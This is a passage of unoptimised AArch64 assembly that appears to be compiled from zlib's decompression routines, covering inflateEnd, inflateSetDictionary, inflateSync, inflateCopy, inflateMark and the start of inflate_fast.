ldr x0, [sp, 200]
ldr w0, [x0, 4]
cmp w0, 0
beq .L1096
mov w0, 64
str w0, [sp, 84]
b .L1097
.L1096:
str wzr, [sp, 84]
.L1097:
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 11
bne .L1098
mov w0, 128
str w0, [sp, 88]
b .L1099
.L1098:
str wzr, [sp, 88]
.L1099:
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 19
bne .L1100
mov w0, 256
str w0, [sp, 92]
b .L1101
.L1100:
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 14
bne .L1102
mov w0, 256
str w0, [sp, 92]
b .L1101
.L1102:
str wzr, [sp, 92]
.L1101:
ldr x0, [sp, 200]
ldr w1, [x0, 80]
ldr w0, [sp, 84]
add w1, w1, w0
ldr w0, [sp, 88]
add w1, w1, w0
ldr w0, [sp, 92]
add w0, w1, w0
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 88]
ldr w0, [sp, 100]
cmp w0, 0
bne .L1166
ldr w0, [sp, 68]
cmp w0, 0
beq .L1167
b .L1103
.L1166:
nop
.L1103:
ldr w0, [sp, 20]
cmp w0, 4
bne .L1106
b .L1105
.L1167:
nop
.L1105:
ldr w0, [sp, 80]
cmp w0, 0
bne .L1106
mov w0, -5
str w0, [sp, 80]
.L1106:
ldr w0, [sp, 80]
str w0, [sp, 52]
.L857:
ldr w0, [sp, 52]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 456]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1108
bl __stack_chk_fail
.L1108:
mov w0, w1
ldp x29, x30, [sp], 464
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE81:
.size inflate, .-inflate
.align 2
.global inflateEnd
.type inflateEnd, %function
inflateEnd:
.LFB82:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1191
mov w0, -2
str w0, [sp, 36]
b .L1192
.L1191:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1193
mov w0, -2
str w0, [sp, 36]
b .L1192
.L1193:
ldr x0, [sp, 24]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1194
mov w0, -2
str w0, [sp, 36]
b .L1192
.L1194:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr x0, [x0, 64]
cmp x0, 0
beq .L1195
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 40]
ldr x0, [x0, 64]
mov x1, x0
mov x0, x3
blr x2
.L1195:
ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
mov x1, x0
mov x0, x3
blr x2
ldr x0, [sp, 24]
str xzr, [x0, 56]
str wzr, [sp, 36]
.L1192:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE82:
.size inflateEnd, .-inflateEnd
.align 2
.global inflateSetDictionary
.type inflateSetDictionary, %function
inflateSetDictionary:
.LFB83:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
cmp x0, 0
bne .L1198
mov w0, -2
str w0, [sp, 60]
b .L1199
.L1198:
ldr x0, [sp, 40]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1200
mov w0, -2
str w0, [sp, 60]
b .L1199
.L1200:
ldr x0, [sp, 40]
ldr x0, [x0, 56]
str x0, [sp, 72]
ldr x0, [sp, 72]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1201
ldr x0, [sp, 72]
ldr w0, [x0]
cmp w0, 10
beq .L1201
mov w0, -2
str w0, [sp, 60]
b .L1199
.L1201:
ldr x0, [sp, 72]
ldr w0, [x0]
cmp w0, 10
bne .L1202
mov w2, 0
mov x1, 0
mov x0, 0
bl adler32
str x0, [sp, 80]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 80]
bl adler32
str x0, [sp, 80]
ldr x0, [sp, 72]
ldr x0, [x0, 24]
ldr x1, [sp, 80]
cmp x1, x0
beq .L1202
mov w0, -3
str w0, [sp, 60]
b .L1199
.L1202:
ldr x0, [sp, 40]
ldr x0, [x0, 24]
str x0, [sp, 88]
ldr x0, [sp, 40]
ldr w0, [x0, 32]
str w0, [sp, 64]
ldr w0, [sp, 28]
ldr x1, [sp, 32]
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0, 24]
ldr x0, [sp, 40]
str wzr, [x0, 32]
ldr w1, [sp, 28]
ldr x0, [sp, 40]
bl updatewindow
str w0, [sp, 68]
ldr x0, [sp, 40]
ldr w1, [sp, 64]
str w1, [x0, 32]
ldr x0, [sp, 40]
ldr x1, [sp, 88]
str x1, [x0, 24]
ldr w0, [sp, 68]
cmp w0, 0
beq .L1203
ldr x0, [sp, 72]
mov w1, 30
str w1, [x0]
mov w0, -4
str w0, [sp, 60]
b .L1199
.L1203:
ldr x0, [sp, 72]
mov w1, 1
str w1, [x0, 12]
str wzr, [sp, 60]
.L1199:
ldr w0, [sp, 60]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE83:
.size inflateSetDictionary, .-inflateSetDictionary
.align 2
.global inflateGetHeader
.type inflateGetHeader, %function
inflateGetHeader:
.LFB84:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1206
mov w0, -2
str w0, [sp, 20]
b .L1207
.L1206:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1208
mov w0, -2
str w0, [sp, 20]
b .L1207
.L1208:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
and w0, w0, 2
cmp w0, 0
bne .L1209
mov w0, -2
str w0, [sp, 20]
b .L1207
.L1209:
ldr x0, [sp, 24]
ldr x1, [sp]
str x1, [x0, 40]
ldr x0, [sp]
str wzr, [x0, 72]
str wzr, [sp, 20]
.L1207:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE84:
.size inflateGetHeader, .-inflateGetHeader
.align 2
.type syncsearch, %function
syncsearch:
.LFB85:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 24]
ldr w0, [x0]
str w0, [sp, 36]
str wzr, [sp, 40]
.L1220:
ldr w1, [sp, 40]
ldr w0, [sp, 12]
cmp w1, w0
bcs .L1222
ldr w0, [sp, 36]
cmp w0, 3
bhi .L1223
ldr w0, [sp, 36]
cmp w0, 1
bhi .L1215
str wzr, [sp, 44]
b .L1216
.L1215:
mov w0, 255
str w0, [sp, 44]
.L1216:
ldr w0, [sp, 40]
ldr x1, [sp, 16]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 44]
cmp w0, w1
bne .L1217
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
b .L1218
.L1217:
ldr w0, [sp, 40]
ldr x1, [sp, 16]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
beq .L1219
str wzr, [sp, 36]
b .L1218
.L1219:
mov w1, 4
ldr w0, [sp, 36]
sub w0, w1, w0
str w0, [sp, 36]
.L1218:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
b .L1220
.L1222:
nop
b .L1214
.L1223:
nop
.L1214:
ldr x0, [sp, 24]
ldr w1, [sp, 36]
str w1, [x0]
ldr w0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE85:
.size syncsearch, .-syncsearch
.align 2
.global inflateSync
.type inflateSync, %function
inflateSync:
.LFB86:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
ldr x0, [sp, 24]
cmp x0, 0
bne .L1225
mov w0, -2
str w0, [sp, 44]
b .L1226
.L1225:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1227
mov w0, -2
str w0, [sp, 44]
b .L1226
.L1227:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
bne .L1228
ldr x0, [sp, 56]
ldr w0, [x0, 80]
cmp w0, 7
bhi .L1228
mov w0, -5
str w0, [sp, 44]
b .L1226
.L1228:
ldr x0, [sp, 56]
ldr w0, [x0]
cmp w0, 31
beq .L1229
ldr x0, [sp, 56]
mov w1, 31
str w1, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 72]
ldr x0, [sp, 56]
ldr w0, [x0, 80]
and w0, w0, 7
lsl x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 72]
ldr x0, [sp, 56]
ldr w0, [x0, 80]
and w1, w0, -8
ldr x0, [sp, 56]
str w1, [x0, 80]
str wzr, [sp, 48]
b .L1230
.L1231:
ldr w0, [sp, 48]
str w0, [sp, 52]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
ldr x0, [sp, 56]
ldr x0, [x0, 72]
and w2, w0, 255
ldr w0, [sp, 52]
add x1, sp, 80
strb w2, [x1, x0]
ldr x0, [sp, 56]
ldr x0, [x0, 72]
lsr x1, x0, 8
ldr x0, [sp, 56]
str x1, [x0, 72]
ldr x0, [sp, 56]
ldr w0, [x0, 80]
sub w1, w0, #8
ldr x0, [sp, 56]
str w1, [x0, 80]
.L1230:
ldr x0, [sp, 56]
ldr w0, [x0, 80]
cmp w0, 7
bhi .L1231
ldr x0, [sp, 56]
str wzr, [x0, 132]
ldr x0, [sp, 56]
add x0, x0, 132
add x1, sp, 80
ldr w2, [sp, 48]
bl syncsearch
.L1229:
ldr x0, [sp, 56]
add x3, x0, 132
ldr x0, [sp, 24]
ldr x1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
mov w2, w0
mov x0, x3
bl syncsearch
str w0, [sp, 48]
ldr x0, [sp, 24]
ldr w1, [x0, 8]
ldr w0, [sp, 48]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 8]
ldr x0, [sp, 24]
ldr x1, [x0]
ldr w0, [sp, 48]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0]
ldr x0, [sp, 24]
ldr x1, [x0, 16]
ldr w0, [sp, 48]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 16]
ldr x0, [sp, 56]
ldr w0, [x0, 132]
cmp w0, 4
beq .L1232
mov w0, -3
str w0, [sp, 44]
b .L1226
.L1232:
ldr x0, [sp, 24]
ldr x0, [x0, 16]
str x0, [sp, 64]
ldr x0, [sp, 24]
ldr x0, [x0, 40]
str x0, [sp, 72]
ldr x0, [sp, 24]
bl inflateReset
ldr x0, [sp, 24]
ldr x1, [sp, 64]
str x1, [x0, 16]
ldr x0, [sp, 24]
ldr x1, [sp, 72]
str x1, [x0, 40]
ldr x0, [sp, 56]
mov w1, 11
str w1, [x0]
str wzr, [sp, 44]
.L1226:
ldr w0, [sp, 44]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1234
bl __stack_chk_fail
.L1234:
mov w0, w1
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE86:
.size inflateSync, .-inflateSync
.align 2
.global inflateSyncPoint
.type inflateSyncPoint, %function
inflateSyncPoint:
.LFB87:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1236
mov w0, -2
str w0, [sp, 16]
b .L1237
.L1236:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1238
mov w0, -2
str w0, [sp, 16]
b .L1237
.L1238:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w0, [x0]
cmp w0, 13
bne .L1239
ldr x0, [sp, 24]
ldr w0, [x0, 80]
cmp w0, 0
bne .L1240
mov w0, 1
str w0, [sp, 20]
b .L1241
.L1240:
str wzr, [sp, 20]
b .L1241
.L1239:
str wzr, [sp, 20]
.L1241:
ldr w0, [sp, 20]
str w0, [sp, 16]
.L1237:
ldr w0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE87:
.size inflateSyncPoint, .-inflateSyncPoint
.align 2
.global inflateCopy
.type inflateCopy, %function
inflateCopy:
.LFB88:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1244
mov w0, -2
str w0, [sp, 32]
b .L1245
.L1244:
ldr x0, [sp, 16]
cmp x0, 0
bne .L1246
mov w0, -2
str w0, [sp, 32]
b .L1245
.L1246:
ldr x0, [sp, 16]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1247
mov w0, -2
str w0, [sp, 32]
b .L1245
.L1247:
ldr x0, [sp, 16]
ldr x0, [x0, 64]
cmp x0, 0
bne .L1248
mov w0, -2
str w0, [sp, 32]
b .L1245
.L1248:
ldr x0, [sp, 16]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1249
mov w0, -2
str w0, [sp, 32]
b .L1245
.L1249:
ldr x0, [sp, 16]
ldr x0, [x0, 56]
str x0, [sp, 48]
ldr x0, [sp, 16]
ldr x3, [x0, 64]
ldr x0, [sp, 16]
ldr x0, [x0, 80]
mov w2, 7152
mov w1, 1
blr x3
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L1250
mov w0, -4
str w0, [sp, 32]
b .L1245
.L1250:
str xzr, [sp, 40]
ldr x0, [sp, 48]
ldr x0, [x0, 64]
cmp x0, 0
beq .L1251
ldr x0, [sp, 16]
ldr x3, [x0, 64]
ldr x0, [sp, 16]
ldr x4, [x0, 80]
ldr x0, [sp, 48]
ldr w0, [x0, 48]
mov w1, 1
lsl w0, w1, w0
mov w2, 1
mov w1, w0
mov x0, x4
blr x3
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L1251
ldr x0, [sp, 16]
ldr x2, [x0, 72]
ldr x0, [sp, 16]
ldr x0, [x0, 80]
ldr x1, [sp, 56]
blr x2
mov w0, -4
str w0, [sp, 32]
b .L1245
.L1251:
mov w2, 112
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl memcpy
mov w2, 7152
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl memcpy
ldr x0, [sp, 48]
ldr x1, [x0, 96]
ldr x0, [sp, 48]
add x0, x0, 1360
cmp x1, x0
bcc .L1252
ldr x0, [sp, 48]
ldr x1, [x0, 96]
ldr x2, [sp, 48]
mov x0, 7136
add x0, x2, x0
sub x0, x0, #4
cmp x1, x0
bhi .L1252
ldr x0, [sp, 48]
ldr x1, [x0, 96]
ldr x0, [sp, 48]
add x0, x0, 1360
sub x0, x1, x0
asr x0, x0, 2
add x0, x0, 340
lsl x0, x0, 2
ldr x1, [sp, 56]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 96]
ldr x0, [sp, 48]
ldr x1, [x0, 104]
ldr x0, [sp, 48]
add x0, x0, 1360
sub x0, x1, x0
asr x0, x0, 2
add x0, x0, 340
lsl x0, x0, 2
ldr x1, [sp, 56]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 104]
.L1252:
ldr x0, [sp, 48]
ldr x1, [x0, 136]
ldr x0, [sp, 48]
add x0, x0, 1360
sub x0, x1, x0
asr x0, x0, 2
add x0, x0, 340
lsl x0, x0, 2
ldr x1, [sp, 56]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 136]
ldr x0, [sp, 40]
cmp x0, 0
beq .L1253
ldr x0, [sp, 48]
ldr w0, [x0, 48]
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 36]
ldr x0, [sp, 48]
ldr x0, [x0, 64]
ldr w2, [sp, 36]
mov x1, x0
ldr x0, [sp, 40]
bl memcpy
.L1253:
ldr x0, [sp, 56]
ldr x1, [sp, 40]
str x1, [x0, 64]
ldr x0, [sp, 24]
ldr x1, [sp, 56]
str x1, [x0, 56]
str wzr, [sp, 32]
.L1245:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE88:
.size inflateCopy, .-inflateCopy
.align 2
.global inflateUndermine
.type inflateUndermine, %function
inflateUndermine:
.LFB89:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1256
mov w0, -2
str w0, [sp, 20]
b .L1257
.L1256:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1258
mov w0, -2
str w0, [sp, 20]
b .L1257
.L1258:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 24]
ldr w0, [sp, 4]
cmp w0, 0
cset w0, eq
and w0, w0, 255
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 7136]
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 7136]
mov w0, -3
str w0, [sp, 20]
.L1257:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE89:
.size inflateUndermine, .-inflateUndermine
.align 2
.global inflateMark
.type inflateMark, %function
inflateMark:
.LFB90:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1261
mov x0, -65536
str x0, [sp, 32]
b .L1262
.L1261:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1263
mov x0, -65536
str x0, [sp, 32]
b .L1262
.L1263:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w0, [x0]
cmp w0, 15
bne .L1264
ldr x0, [sp, 40]
ldr w0, [x0, 84]
str w0, [sp, 24]
b .L1265
.L1264:
ldr x0, [sp, 40]
ldr w0, [x0]
cmp w0, 24
bne .L1266
ldr x0, [sp, 40]
ldr w1, [x0, 7144]
ldr x0, [sp, 40]
ldr w0, [x0, 84]
sub w0, w1, w0
str w0, [sp, 28]
b .L1267
.L1266:
str wzr, [sp, 28]
.L1267:
ldr w0, [sp, 28]
str w0, [sp, 24]
.L1265:
ldr x0, [sp, 40]
ldr w0, [x0, 7140]
sxtw x0, w0
lsl x0, x0, 16
mov x1, x0
ldr w0, [sp, 24]
add x0, x1, x0
str x0, [sp, 32]
.L1262:
ldr x0, [sp, 32]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE90:
.size inflateMark, .-inflateMark
.align 2
.global inflate_fast
.hidden inflate_fast
.type inflate_fast, %function
inflate_fast:
.LFB91:
.cfi_startproc
sub sp, sp, #160
.cfi_def_cfa_offset 160
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 104]
ldr x0, [sp, 8]
ldr x0, [x0]
sub x0, x0, #1
str x0, [sp, 72]
ldr x0, [sp, 8]
ldr w0, [x0, 8]
sub w0, w0, #5
uxtw x0, w0
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 112]
ldr x0, [sp, 8]
ldr x0, [x0, 24]
sub x0, x0, #1
str x0, [sp, 80]
ldr x0, [sp, 8]
ldr w0, [x0, 32]
ldr w1, [sp, 4]
sub w0, w1, w0
uxtw x0, w0
neg x0, x0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 120]
ldr x0, [sp, 8]
ldr w0, [x0, 32]
sub w0, w0, #257
uxtw x0, w0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 128]
ldr x0, [sp, 104]
ldr w0, [x0, 52]
str w0, [sp, 48]
ldr x0, [sp, 104]
ldr w0, [x0, 56]
str w0, [sp, 52]
ldr x0, [sp, 104]
ldr w0, [x0, 60]
str w0, [sp, 56]
ldr x0, [sp, 104]
ldr x0, [x0, 64]
str x0, [sp, 136]
ldr x0, [sp, 104]
ldr x0, [x0, 72]
str x0, [sp, 88]
ldr x0, [sp, 104]
ldr w0, [x0, 80]
str w0, [sp, 28]
ldr x0, [sp, 104]
ldr x0, [x0, 96]
str x0, [sp, 144]
ldr x0, [sp, 104]
ldr x0, [x0, 104]
str x0, [sp, 152]
ldr x0, [sp, 104]
ldr w0, [x0, 112]
mov w1, 1
lsl w0, w1, w0
sub w0, w0, #1
str w0, [sp, 60]
ldr x0, [sp, 104]
ldr w0, [x0, 116]
mov w1, 1
lsl w0, w1, w0
sub w0, w0, #1
str w0, [sp, 64]
.L1309:
ldr w0, [sp, 28]
cmp w0, 14
bhi .L1270
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
.L1270:
ldr w1, [sp, 60]
ldr x0, [sp, 88]
and x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 144]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 24]
.L1271:
ldrb w0, [sp, 25]
str w0, [sp, 32]
ldr w0, [sp, 32]
ldr x1, [sp, 88]
lsr x0, x1, x0
str x0, [sp, 88]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 28]
ldrb w0, [sp, 24]
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
bne .L1272
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldrh w0, [sp, 26]
and w1, w0, 255
ldr x0, [sp, 80]
strb w1, [x0]
b .L1273
.L1272:
ldr w0, [sp, 32]
and w0, w0, 16
cmp w0, 0
beq .L1274
ldrh w0, [sp, 26]
str w0, [sp, 36]
ldr w0, [sp, 32]
and w0, w0, 15
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
beq .L1275
ldr w1, [sp, 28]
ldr w0, [sp, 32]
cmp w1, w0
bcs .L1276
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
.L1276:
ldr x0, [sp, 88]
mov w2, w0
ldr w0, [sp, 32]
mov w1, -1
lsl w0, w1, w0
mvn w0, w0
and w0, w2, w0
ldr w1, [sp, 36]
add w0, w1, w0
str w0, [sp, 36]
ldr w0, [sp, 32]
ldr x1, [sp, 88]
lsr x0, x1, x0
str x0, [sp, 88]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 28]
.L1275:
ldr w0, [sp, 28]
cmp w0, 14
bhi .L1277
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
.L1277:
ldr w1, [sp, 64]
ldr x0, [sp, 88]
and x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 152]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 24]
.L1278:
ldrb w0, [sp, 25]
str w0, [sp, 32]
ldr w0, [sp, 32]
ldr x1, [sp, 88]
lsr x0, x1, x0
str x0, [sp, 88]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 28]
ldrb w0, [sp, 24]
str w0, [sp, 32]
ldr w0, [sp, 32]
and w0, w0, 16
cmp w0, 0
beq .L1279
ldrh w0, [sp, 26]
str w0, [sp, 68]
ldr w0, [sp, 32]
and w0, w0, 15
str w0, [sp, 32]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
cmp w1, w0
bcs .L1280
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
cmp w1, w0
bcs .L1280
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 28]
lsl x0, x1, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr w0, [sp, 28]
add w0, w0, 8
str w0, [sp, 28]
.L1280:
ldr x0, [sp, 88]
mov w2, w0
ldr w0, [sp, 32]
mov w1, -1
lsl w0, w1, w0
mvn w0, w0
and w0, w2, w0
ldr w1, [sp, 68]
add w0, w1, w0
str w0, [sp, 68]
ldr w0, [sp, 32]
ldr x1, [sp, 88]
lsr x0, x1, x0
str x0, [sp, 88]
ldr w1, [sp, 28]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 28]
ldr x1, [sp, 80]
ldr x0, [sp, 120]
sub x0, x1, x0
str w0, [sp, 32]
ldr w1, [sp, 68]
ldr w0, [sp, 32]
cmp w1, w0
bls .L1281
ldr w1, [sp, 68]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 32]
ldr w1, [sp, 32]
ldr w0, [sp, 52]
cmp w1, w0
bls .L1282
ldr x0, [sp, 104]
ldr w0, [x0, 7136]
cmp w0, 0
beq .L1282
ldr x0, [sp, 8]
adrp x1, .LC34
add x1, x1, :lo12:.LC34
str x1, [x0, 48]
ldr x0, [sp, 104]
mov w1, 29
str w1, [x0]
b .L1283
.L1282:
ldr x0, [sp, 136]
sub x0, x0, #1
str x0, [sp, 96]
ldr w0, [sp, 56]
cmp w0, 0
bne .L1284
ldr w1, [sp, 48]
ldr w0, [sp, 32]
sub w0, w1, w0
uxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
str x0, [sp, 96]
ldr w1, [sp, 32]
ldr w0, [sp, 36]
cmp w1, w0
bcs .L1299
ldr w1, [sp, 36]
ldr w0, [sp, 32]
sub w0, w1, w0
str w0, [sp, 36]
.L1288:
ldr x0, [sp, 80]
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 96]
add x0, x0, 1
str x0, [sp, 96]
ldr x0, [sp, 96]
ldrb w1, [x0]
ldr x0, [sp, 80]
strb w1, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
beq .L1320
b .L1288
.L1320:
nop
ldr w0, [sp, 68]
neg x0, x0
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 96]
b .L1299
.L1284:
ldr w1, [sp, 56]
ldr w0, [sp, 32]
cmp w1, w0
bcs .L1289
ldr w1, [sp, 48]
ldr w0, [sp, 56]
add w1, w1, w0
ldr w0, [sp, 32]
sub w0, w1, w0
uxtw x0, w0
ldr x1, [sp, 96]
add x0, x1, x0
str x0, [sp, 96]
ldr w1, [sp, 32]
ldr w0, [sp, 56]
sub w0, w1, w0
str w0, [sp, 32]
ldr w1, [sp, 32]
